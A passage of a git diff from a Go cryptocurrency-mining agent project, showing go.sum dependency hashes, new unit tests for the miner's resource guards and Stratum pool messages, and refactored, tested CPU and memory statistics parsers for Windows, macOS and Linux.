+github.com/multiformats/go-multiaddr v0.16.0/go.mod h1:JSVUmXDjsVFiW7RjIFMP7+Ev+h1DTbiJgVeTV/tcmP0= +github.com/multiformats/go-multiaddr-dns v0.4.1 h1:whi/uCLbDS3mSEUMb1MsoT4uzUeZB0N32yzufqS0i5M= +github.com/multiformats/go-multiaddr-dns v0.4.1/go.mod h1:7hfthtB4E4pQwirrz+J0CcDUfbWzTqEzVyYKKIKpgkc= +github.com/multiformats/go-multiaddr-fmt v0.1.0 h1:WLEFClPycPkp4fnIzoFoV9FVd49/eQsuaL3/CWe167E= +github.com/multiformats/go-multiaddr-fmt v0.1.0/go.mod h1:hGtDIW4PU4BqJ50gW2quDuPVjyWNZxToGUh/HwTZYJo= +github.com/multiformats/go-multibase v0.2.0 h1:isdYCVLvksgWlMW9OZRYJEa9pZETFivncJHmHnnd87g= +github.com/multiformats/go-multibase v0.2.0/go.mod h1:bFBZX4lKCA/2lyOFSAoKH5SS6oPyjtnzK/XTFDPkNuk= +github.com/multiformats/go-multicodec v0.9.1 h1:x/Fuxr7ZuR4jJV4Os5g444F7xC4XmyUaT/FWtE+9Zjo= +github.com/multiformats/go-multicodec v0.9.1/go.mod h1:LLWNMtyV5ithSBUo3vFIMaeDy+h3EbkMTek1m+Fybbo= +github.com/multiformats/go-multihash v0.0.8/go.mod h1:YSLudS+Pi8NHE7o6tb3D8vrpKa63epEDmG8nTduyAew= +github.com/multiformats/go-multihash v0.2.3 h1:7Lyc8XfX/IY2jWb/gI7JP+o7JEq9hOa7BFvVU9RSh+U= +github.com/multiformats/go-multihash v0.2.3/go.mod h1:dXgKXCXjBzdscBLk9JkjINiEsCKRVch90MdaGiKsvSM= +github.com/multiformats/go-multistream v0.6.1 h1:4aoX5v6T+yWmc2raBHsTvzmFhOI8WVOer28DeBBEYdQ= +github.com/multiformats/go-multistream v0.6.1/go.mod h1:ksQf6kqHAb6zIsyw7Zm+gAuVo57Qbq84E27YlYqavqw= +github.com/multiformats/go-varint v0.0.7 h1:sWSGR+f/eu5ABZA2ZpYKBILXTTs9JWpdEM/nEGOHFS8= +github.com/multiformats/go-varint v0.0.7/go.mod h1:r8PUYw/fD/SjBCiKOoDlGF6QawOELpZAu9eioSos/OU= +github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= +github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= +github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58 h1:onHthvaw9LFnH4t2DcNVpwGmV9E1BkGknEliJkfwQj0= +github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58/go.mod h1:DXv8WO4yhMYhSNPKjeNKa5WY9YCIEBRbNzFFPJbWO6Y= +github.com/pion/datachannel v1.5.10 h1:ly0Q26K1i6ZkGf42W7D4hQYR90pZwzFOjTq5AuCKk4o= +github.com/pion/datachannel v1.5.10/go.mod h1:p/jJfC9arb29W7WrxyKbepTU20CFgyx5oLo8Rs4Py/M= +github.com/pion/dtls/v3 v3.1.2 h1:gqEdOUXLtCGW+afsBLO0LtDD8GnuBBjEy6HRtyofZTc= +github.com/pion/dtls/v3 v3.1.2/go.mod h1:Hw/igcX4pdY69z1Hgv5x7wJFrUkdgHwAn/Q/uo7YHRo= +github.com/pion/ice/v4 v4.0.10 h1:P59w1iauC/wPk9PdY8Vjl4fOFL5B+USq1+xbDcN6gT4= +github.com/pion/ice/v4 v4.0.10/go.mod h1:y3M18aPhIxLlcO/4dn9X8LzLLSma84cx6emMSu14FGw= +github.com/pion/interceptor v0.1.40 h1:e0BjnPcGpr2CFQgKhrQisBU7V3GXK6wrfYrGYaU6Jq4= +github.com/pion/interceptor v0.1.40/go.mod h1:Z6kqH7M/FYirg3frjGJ21VLSRJGBXB/KqaTIrdqnOic= +github.com/pion/logging v0.2.4 h1:tTew+7cmQ+Mc1pTBLKH2puKsOvhm32dROumOZ655zB8= +github.com/pion/logging v0.2.4/go.mod h1:DffhXTKYdNZU+KtJ5pyQDjvOAh/GsNSyv1lbkFbe3so= +github.com/pion/mdns/v2 v2.0.7 h1:c9kM8ewCgjslaAmicYMFQIde2H9/lrZpjBkN8VwoVtM= +github.com/pion/mdns/v2 v2.0.7/go.mod h1:vAdSYNAT0Jy3Ru0zl2YiW3Rm/fJCwIeM0nToenfOJKA= +github.com/pion/randutil v0.1.0 h1:CFG1UdESneORglEsnimhUjf33Rwjubwj6xfiOXBa3mA= +github.com/pion/randutil v0.1.0/go.mod h1:XcJrSMMbbMRhASFVOlj/5hQial/Y8oH/HVo7TBZq+j8= +github.com/pion/rtcp v1.2.16 h1:fk1B1dNW4hsI78XUCljZJlC4kZOPk67mNRuQ0fcEkSo= +github.com/pion/rtcp v1.2.16/go.mod h1:/as7VKfYbs5NIb4h6muQ35kQF/J0ZVNz2Z3xKoCBYOo= +github.com/pion/rtp v1.8.19 h1:jhdO/3XhL/aKm/wARFVmvTfq0lC/CvN1xwYKmduly3c= +github.com/pion/rtp v1.8.19/go.mod h1:bAu2UFKScgzyFqvUKmbvzSdPr+NGbZtv6UB2hesqXBk= +github.com/pion/sctp v1.8.39 h1:PJma40vRHa3UTO3C4MyeJDQ+KIobVYRZQZ0Nt7SjQnE= +github.com/pion/sctp v1.8.39/go.mod h1:cNiLdchXra8fHQwmIoqw0MbLLMs+f7uQ+dGMG2gWebE= +github.com/pion/sdp/v3 v3.0.18 h1:l0bAXazKHpepazVdp+tPYnrsy9dfh7ZbT8DxesH5ZnI= +github.com/pion/sdp/v3 v3.0.18/go.mod h1:ZREGo6A9ZygQ9XkqAj5xYCQtQpif0i6Pa81HOiAdqQ8= +github.com/pion/srtp/v3 v3.0.6 h1:E2gyj1f5X10sB/qILUGIkL4C2CqK269Xq167PbGCc/4= +github.com/pion/srtp/v3 v3.0.6/go.mod h1:BxvziG3v/armJHAaJ87euvkhHqWe9I7iiOy50K2QkhY= +github.com/pion/stun/v3 v3.1.1 h1:CkQxveJ4xGQjulGSROXbXq94TAWu8gIX2dT+ePhUkqw= +github.com/pion/stun/v3 v3.1.1/go.mod h1:qC1DfmcCTQjl9PBaMa5wSn3x9IPmKxSdcCsxBcDBndM= +github.com/pion/transport/v3 v3.0.7 h1:iRbMH05BzSNwhILHoBoAPxoB9xQgOaJk+591KC9P1o0= +github.com/pion/transport/v3 v3.0.7/go.mod h1:YleKiTZ4vqNxVwh77Z0zytYi7rXHl7j6uPLGhhz9rwo= +github.com/pion/transport/v4 v4.0.1 h1:sdROELU6BZ63Ab7FrOLn13M6YdJLY20wldXW2Cu2k8o= +github.com/pion/transport/v4 v4.0.1/go.mod h1:nEuEA4AD5lPdcIegQDpVLgNoDGreqM/YqmEx3ovP4jM= +github.com/pion/turn/v4 v4.0.2 h1:ZqgQ3+MjP32ug30xAbD6Mn+/K4Sxi3SdNOTFf+7mpps= +github.com/pion/turn/v4 v4.0.2/go.mod h1:pMMKP/ieNAG/fN5cZiN4SDuyKsXtNTr0ccN7IToA1zs= +github.com/pion/webrtc/v4 v4.1.2 h1:mpuUo/EJ1zMNKGE79fAdYNFZBX790KE7kQQpLMjjR54= +github.com/pion/webrtc/v4 v4.1.2/go.mod h1:xsCXiNAmMEjIdFxAYU0MbB3RwRieJsegSB2JZsGN+8U= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/prometheus/client_golang v1.22.0 h1:rb93p9lokFEsctTys46VnV1kLCDpVZ0a/Y92Vm0Zc6Q= +github.com/prometheus/client_golang v1.22.0/go.mod h1:R7ljNsLXhuQXYZYtw6GAE9AZg8Y7vEW5scdCXrWRXC0= +github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk= +github.com/prometheus/client_model v0.6.2/go.mod h1:y3m2F6Gdpfy6Ut/GBsUqTWZqCUvMVzSfMLjcu6wAwpE= +github.com/prometheus/common v0.64.0 h1:pdZeA+g617P7oGv1CzdTzyeShxAGrTBsolKNOLQPGO4= +github.com/prometheus/common v0.64.0/go.mod h1:0gZns+BLRQ3V6NdaerOhMbwwRbNh9hkGINtQAsP5GS8= +github.com/prometheus/procfs v0.16.1 h1:hZ15bTNuirocR6u0JZ6BAHHmwS1p8B4P6MRqxtzMyRg= +github.com/prometheus/procfs v0.16.1/go.mod h1:teAbpZRB1iIAJYREa1LsoWUXykVXA1KlTmWl8x/U+Is= +github.com/quic-go/qpack v0.6.0 h1:g7W+BMYynC1LbYLSqRt8PBg5Tgwxn214ZZR34VIOjz8= +github.com/quic-go/qpack v0.6.0/go.mod h1:lUpLKChi8njB4ty2bFLX2x4gzDqXwUpaO1DP9qMDZII= +github.com/quic-go/quic-go v0.59.0 h1:OLJkp1Mlm/aS7dpKgTc6cnpynnD2Xg7C1pwL6vy/SAw= +github.com/quic-go/quic-go v0.59.0/go.mod h1:upnsH4Ju1YkqpLXC305eW3yDZ4NfnNbmQRCMWS58IKU= +github.com/quic-go/webtransport-go v0.10.0 h1:LqXXPOXuETY5Xe8ITdGisBzTYmUOy5eSj+9n4hLTjHI= +github.com/quic-go/webtransport-go v0.10.0/go.mod h1:LeGIXr5BQKE3UsynwVBeQrU1TPrbh73MGoC6jd+V7ow= +github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ= +github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog= +github.com/spaolacci/murmur3 v1.1.0 h1:7c1g84S4BPRrfL5Xrdp6fOJ206sU9y293DDHaoy0bLI= +github.com/spaolacci/murmur3 v1.1.0/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +github.com/wlynxg/anet v0.0.5 h1:J3VJGi1gvo0JwZ/P1/Yc/8p63SoW98B5dHkYDmpgvvU= +github.com/wlynxg/anet v0.0.5/go.mod h1:eay5PRQr7fIVAMbTbchTnO9gG65Hg/uYGdc7mguHxoA= +go.uber.org/dig v1.19.0 h1:BACLhebsYdpQ7IROQ1AGPjrXcP5dF80U3gKoFzbaq/4= +go.uber.org/dig v1.19.0/go.mod h1:Us0rSJiThwCv2GteUN0Q7OKvU7n5J4dxZ9JKUXozFdE= +go.uber.org/fx v1.24.0 h1:wE8mruvpg2kiiL1Vqd0CC+tr0/24XIB10Iwp2lLWzkg= +go.uber.org/fx v1.24.0/go.mod h1:AmDeGyS+ZARGKM4tlH4FY2Jr63VjbEDJHtqXTGP5hbo= +go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= +go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= +go.uber.org/mock v0.5.2 h1:LbtPTcP8A5k9WPXj54PPPbjcI4Y6lhyOZXn+VS7wNko= +go.uber.org/mock v0.5.2/go.mod h1:wLlUxC2vVTPTaE3UD51E0BGOAElKrILxhVSDYQLld5o= +go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0= +go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= +go.uber.org/zap v1.27.0 h1:aJMhYGrd5QSmlpLMr2MftRKl7t8J8PTZPA732ud/XR8= +go.uber.org/zap v1.27.0/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20190611184440-5c40567a22f8/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20200602180216-279210d13fed/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= +golang.org/x/crypto v0.48.0 h1:/VRzVqiRSggnhY7gNRxPauEQ5Drw9haKdM0jqfcCFts= +golang.org/x/crypto v0.48.0/go.mod h1:r0kV5h3qnFPlQnBSrULhlsRfryS2pmewsg+XfMgkVos= +golang.org/x/exp v0.0.0-20250606033433-dcc06ee1d476 h1:bsqhLWFR6G6xiQcb+JoGqdKdRU6WzPWmK8E0jxTjzo4= +golang.org/x/exp v0.0.0-20250606033433-dcc06ee1d476/go.mod h1:3//PLf8L/X+8b4vuAfHzxeRUl04Adcb341+IGKfnqS8= +golang.org/x/mod v0.32.0 h1:9F4d3PHLljb6x//jOyokMv3eX+YDeepZSEo3mFJy93c= +golang.org/x/mod v0.32.0/go.mod h1:SgipZ/3h2Ci89DlEtEXWUk/HteuRin+HHhN+WbNhguU= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20210423184538-5f58ad60dda6/go.mod h1:OJAsFXCWl8Ukc7SiCT/9KSuxbyM7479/AVlXFRxuMCk= +golang.org/x/net v0.50.0 h1:ucWh9eiCGyDR3vtzso0WMQinm2Dnt8cFMuQa9K33J60= +golang.org/x/net v0.50.0/go.mod h1:UgoSli3F/pBgdJBHCTc+tp3gmrU4XswgGRgtnwWTfyM= +golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.19.0 h1:vV+1eWNmZ5geRlYjzm2adRgW2/mcpevXNg50YZtPCE4= +golang.org/x/sync v0.19.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200602225109-6fdc65e7d980/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210426080607-c94f62235c83/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.41.0 h1:Ivj+2Cp/ylzLiEU89QhWblYnOE9zerudt9Ftecq2C6k= +golang.org/x/sys v0.41.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks= +golang.org/x/telemetry v0.0.0-20260109210033-bd525da824e2 h1:O1cMQHRfwNpDfDJerqRoE2oD+AFlyid87D40L/OkkJo= +golang.org/x/telemetry v0.0.0-20260109210033-bd525da824e2/go.mod h1:b7fPSJ0pKZ3ccUh8gnTONJxhn3c/PS6tyzQvyqw4iA8= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.34.0 h1:oL/Qq0Kdaqxa1KbNeMKwQq0reLCCaFtqu2eNuSeNHbk= +golang.org/x/text v0.34.0/go.mod h1:homfLqTYRFyVYemLBFl5GgL/DWEiH5wcsQ5gSh1yziA= +golang.org/x/time v0.12.0 h1:ScB/8o8olJvc+CQPWrK3fPZNfh7qgwCrY0zJmoEQLSE= +golang.org/x/time v0.12.0/go.mod h1:CDIdPxbZBQxdj6cxyCIdrNogrJKMJ7pr37NYpMcMDSg= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.41.0 h1:a9b8iMweWG+S0OBnlU36rzLp20z1Rp10w+IY2czHTQc= +golang.org/x/tools v0.41.0/go.mod h1:XSY6eDqxVNiYgezAVqqCeihT4j1U2CCsqvH3WhQpnlg= +golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE= +golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +google.golang.org/protobuf v1.36.6 h1:z1NpPI8ku2WgiWnf+t9wTPsn6eP1L7ksHUlkfLvd9xY= +google.golang.org/protobuf v1.36.6/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/5YcXBHnY= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +lukechampine.com/blake3 v1.4.1 h1:I3Smz7gso8w4/TunLKec6K2fn+kyKtDxr/xcQEN84Wg= +lukechampine.com/blake3 v1.4.1/go.mod h1:QFosUxmjB8mnrWFSNwKmvxHpfY72bmD2tQ0kBMM3kwo= diff --git a/agent/miner/pool_guard_test.go b/agent/miner/pool_guard_test.go new file mode 100644 index 0000000..ca1db87 --- /dev/null +++ b/agent/miner/pool_guard_test.go @@ -0,0 +1,74 @@ +package miner + +import ( + "testing" + + "crypto-miner-agent/config" + "crypto-miner-agent/stats" +) + +func TestPoolResourcesOKBlocksHighMinFreeRAM(t *testing.T) { + r := stats.NewReporter() + free := r.FreeMemoryMB() + if free == 0 { + t.Skip("free memory unavailable on this platform") + } + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ + MiningMode: "always", + MinFreeRAM: int(free + 1_000_000), + MaxCPUUsage: 0, + MaxMemoryPct: 0, + }} + p := NewPool(1, cfg, r, nil) + if p.resourcesOK() { + t.Fatal("MinFreeRAM above available free RAM should block mining") + } +} + +func TestPoolResourcesOKBlocksLowMaxMemoryPct(t *testing.T) { + r := stats.NewReporter() + total := r.TotalMemoryMB() + if total == 0 { + t.Skip("total memory unavailable on this platform") + } + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ + MiningMode: "always", + MaxMemoryPct: 1, + MaxCPUUsage: 0, + MinFreeRAM: 0, + }} + p := NewPool(1, cfg, r, nil) + if p.resourcesOK() { + t.Fatal("MaxMemoryPct=1 should block when system memory use exceeds 1%") + } +} + +func TestPoolResourcesOKAllowsHighMaxCPU(t *testing.T) { + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ + MiningMode: "always", + MaxCPUUsage: 100, + MinFreeRAM: 0, + }} + p := NewPool(1, cfg, stats.NewReporter(), nil) + if !p.resourcesOK() { + t.Fatal("MaxCPUUsage=100 should allow mining when CPU is at most 100%") + } +} + +func TestPoolMiningAllowedRequiresResourcesAndSchedule(t *testing.T) { + r := stats.NewReporter() + free := r.FreeMemoryMB() + if free == 0 { + t.Skip("free memory unavailable on this platform") + } + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ + MiningMode: "always", + MinFreeRAM: int(free + 1_000_000), + MaxCPUUsage: 0, + MaxMemoryPct: 0, + }} + p := NewPool(1, cfg, r, nil) + if p.miningAllowed() { + t.Fatal("miningAllowed should deny when resource guard fails even in always mode") + } +} diff --git a/agent/miner/stratum_test.go b/agent/miner/stratum_test.go index fcc7ce9..2ff2252 100644 --- a/agent/miner/stratum_test.go +++ b/agent/miner/stratum_test.go @@ -147,3 +147,102 @@ func TestStratumMsgJobNotification(t *testing.T) { t.Fatalf("job notification: %+v", sj) } } + +func TestBuildStratumEndpointsMultipleBackups(t *testing.T) { + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ + PoolHost: "primary.pool", + PoolPort: 3333, + BackupPools: []config.BackupPool{ + {Host: "backup1.pool", Port: 4444, Pass: "a"}, + {Host: "backup2.pool", Port: 5555, TLS: true}, + }, + }} + eps := buildStratumEndpoints(cfg) + if len(eps) != 3 { + t.Fatalf("expected primary + 2 backups, got %d", len(eps)) + } + if eps[2].Host != "backup2.pool" || eps[2].Port != 5555 || !eps[2].TLS { + t.Fatalf("third endpoint mismatch: %+v", eps[2]) + } +} + +func TestStratumLoginErrorResponse(t *testing.T) { + line := `{"id":1,"jsonrpc":"2.0","error":{"code":-1,"message":"invalid wallet"}}` + var loginResp stratumMsg + if err := json.Unmarshal([]byte(line), &loginResp); err != nil { + t.Fatal(err) + } + if loginResp.Error == nil { + t.Fatal("expected login error field") + } + if loginResp.Result != nil { + t.Fatal("error response should not carry a result") + } +} + +func TestStratumKeepaliveMsgRoundTrip(t *testing.T) { + params := mustMarshal(map[string]string{"id": "sess-abc"}) + msg := stratumMsg{ID: 3, JSONRPC: "2.0", Method: "keepalived", Params: params} + b, err := json.Marshal(msg) + if err != nil { + t.Fatal(err) + } + var decoded stratumMsg + if err := json.Unmarshal(b, &decoded); err != nil { + t.Fatal(err) + } + if decoded.Method != "keepalived" || decoded.JSONRPC != "2.0" { + t.Fatalf("keepalive msg: %+v", decoded) + } + var p map[string]string + if err := json.Unmarshal(decoded.Params, &p); err != nil { + t.Fatal(err) + } + if p["id"] != "sess-abc" { + t.Fatalf("keepalive params: %v", p) + } +} + +func TestStratumSubmitRequestRoundTrip(t *testing.T) { + params, err := json.Marshal(submitParams{ + ID: "sess-1", JobID: "42", Nonce: "04030201", Hash: "deadbeef", + }) + if err != nil { + t.Fatal(err) + } + msg := stratumMsg{ID: 4, JSONRPC: "2.0", Method: "submit", Params: params} + b, err := json.Marshal(msg) + if err != nil { + t.Fatal(err) + } + var decoded stratumMsg + if err := json.Unmarshal(b, &decoded); err != nil { + t.Fatal(err) + } + if decoded.Method != "submit" { + t.Fatalf("method=%q", decoded.Method) + } + var sp submitParams + if err := json.Unmarshal(decoded.Params, &sp); err != nil { + t.Fatal(err) + } + if sp.ID != "sess-1" || sp.JobID != "42" || sp.Nonce != "04030201" || sp.Hash != "deadbeef" { + t.Fatalf("submit params: %+v", sp) + } +} + +func TestStratumJobParamsInvalidJSON(t *testing.T) { + msg := stratumMsg{Method: "job", Params: json.RawMessage(`{"blob":`)} + var sj stratumJob + if err := json.Unmarshal(msg.Params, &sj); err == nil { + t.Fatal("malformed job params should fail unmarshal") + } +} + +func TestStratumLineInvalidJSONIgnored(t *testing.T) { + line := "not-json\n" + var msg stratumMsg + if err := json.Unmarshal([]byte(line), &msg); err == nil { + t.Fatal("invalid stratum line should not parse as msg") + } +} diff --git a/agent/stats/cpu_windows.go b/agent/stats/cpu_windows.go index 57b2055..2918320 100644 --- a/agent/stats/cpu_windows.go +++ b/agent/stats/cpu_windows.go @@ -17,6 +17,20 @@ func filetimeToUint64(ft filetime) uint64 { return (uint64(ft.HighDateTime) << 32) | uint64(ft.LowDateTime) } +func cpuBusyPercentFromDeltas(idleDelta, totalDelta float64) float64 { + if totalDelta <= 0 { + return 0 + } + busyPct := (1.0 - idleDelta/totalDelta) * 100 + if busyPct < 0 { + return 0 + } + if busyPct > 100 { + return 100 + } + return busyPct +} + func (r *Reporter) SystemCPUPercent() float64 { r.mu.Lock() defer r.mu.Unlock() @@ -49,15 +63,5 @@ func (r *Reporter) SystemCPUPercent() float64 { r.lastKernel = kernelTicks r.lastUser = userTicks - if totalDelta <= 0 { - return 0 - } - busyPct := (1.0 - idleDelta/totalDelta) * 100 - if busyPct < 0 { - return 0 - } - if busyPct > 100 { - return 100 - } - return busyPct + return cpuBusyPercentFromDeltas(idleDelta, totalDelta) } diff --git a/agent/stats/cpu_windows_test.go b/agent/stats/cpu_windows_test.go new file mode 100644 index 0000000..885d6e7 --- /dev/null +++ b/agent/stats/cpu_windows_test.go @@ -0,0 +1,35 @@ +//go:build windows + +package stats + +import "testing" + +func TestFiletimeToUint64(t *testing.T) { + ft := filetime{LowDateTime: 0xDEADBEEF, HighDateTime: 0x00001234} + want := (uint64(0x1234) << 32) | 0xDEADBEEF + if got := filetimeToUint64(ft); got != want { + t.Fatalf("got %x want %x", got, want) + } + if filetimeToUint64(filetime{}) != 0 { + t.Fatal("zero filetime should be 0") + } +} + +func TestCPUBusyPercentFromDeltas(t *testing.T) { + tests := []struct { + idle, total float64 + want float64 + }{ + {idle: 25, total: 100, want: 75}, + {idle: 0, total: 100, want: 100}, + {idle: 100, total: 100, want: 0}, + {idle: 0, total: 0, want: 0}, + {idle: -10, total: 50, want: 100}, // over 100% busy clamped + {idle: 200, total: 100, want: 0}, // negative busy clamped to 0 + } + for _, tc := range tests { + if got := cpuBusyPercentFromDeltas(tc.idle, tc.total); got != tc.want { + t.Fatalf("idle=%v total=%v: got %v want %v", tc.idle, tc.total, got, tc.want) + } + } +} diff --git a/agent/stats/reporter_darwin.go b/agent/stats/reporter_darwin.go index 2c4e2af..6fa0826 100644 --- a/agent/stats/reporter_darwin.go +++ b/agent/stats/reporter_darwin.go @@ -18,17 +18,24 @@ func (r *Reporter) memoryStatus() (total, avail uint64) { if err != nil { return total, total / 2 } - // Rough available estimate from vm_stat free pages - var pageSize uint64 = 4096 - var freePages uint64 - for _, line := range strings.Split(string(out), "\n") { + avail = parseVmStatFreeBytes(string(out)) + return total, avail +} + +func parseVmStatFreeBytes(out string) uint64 { + const pageSize uint64 = 4096 + return parseVmStatFreePages(out) * pageSize +} + +func parseVmStatFreePages(out string) uint64 { + for _, line := range strings.Split(out, "\n") { if strings.Contains(line, "Pages free") { parts := strings.Fields(line) if len(parts) >= 3 { - freePages, _ = strconv.ParseUint(strings.Trim(parts[2], "."), 10, 64) + v, _ := strconv.ParseUint(strings.Trim(parts[2], "."), 10, 64) + return v } } } - avail = freePages * pageSize - return total, avail + return 0 } diff --git a/agent/stats/reporter_darwin_test.go b/agent/stats/reporter_darwin_test.go new file mode 100644 index 0000000..bb16dbb --- /dev/null +++ b/agent/stats/reporter_darwin_test.go @@ -0,0 +1,25 @@ +//go:build darwin + +package stats + +import "testing" + +func TestParseVmStatFreePages(t *testing.T) { + out := `Mach Virtual Memory Statistics: (page size of 4096 bytes) +Pages free: 12345. +Pages active: 67890. +` + if got := parseVmStatFreePages(out); got != 12345 { + t.Fatalf("got %d", got) + } + if parseVmStatFreePages("no free pages here") != 0 { + t.Fatal("missing line should return 0") + } +} + +func TestParseVmStatFreeBytes(t *testing.T) { + out := "Pages free: 1000.\n" + if got := parseVmStatFreeBytes(out); got != 1000*4096 { + t.Fatalf("got %d", got) + } +} diff --git a/agent/stats/reporter_linux.go b/agent/stats/reporter_linux.go index 212aadf..ec6d182 100644 --- a/agent/stats/reporter_linux.go +++ b/agent/stats/reporter_linux.go @@ -4,6 +4,7 @@ package stats import ( "bufio" + "io" "os" "strconv" "strings" @@ -15,8 +16,12 @@ func (r *Reporter) memoryStatus() (total, avail uint64) { return 0, 0 } defer f.Close() + return parseMeminfo(f) +} + +func parseMeminfo(r io.Reader) (total, avail uint64) { var memTotal, memAvail uint64 - sc := bufio.NewScanner(f) + sc := bufio.NewScanner(r) for sc.Scan() { line := sc.Text() if strings.HasPrefix(line, "MemTotal:") { diff --git a/agent/stats/reporter_linux_test.go b/agent/stats/reporter_linux_test.go index 2a010c1..4a1c22d 100644 --- a/agent/stats/reporter_linux_test.go +++ b/agent/stats/reporter_linux_test.go @@ -2,7 +2,10 @@ 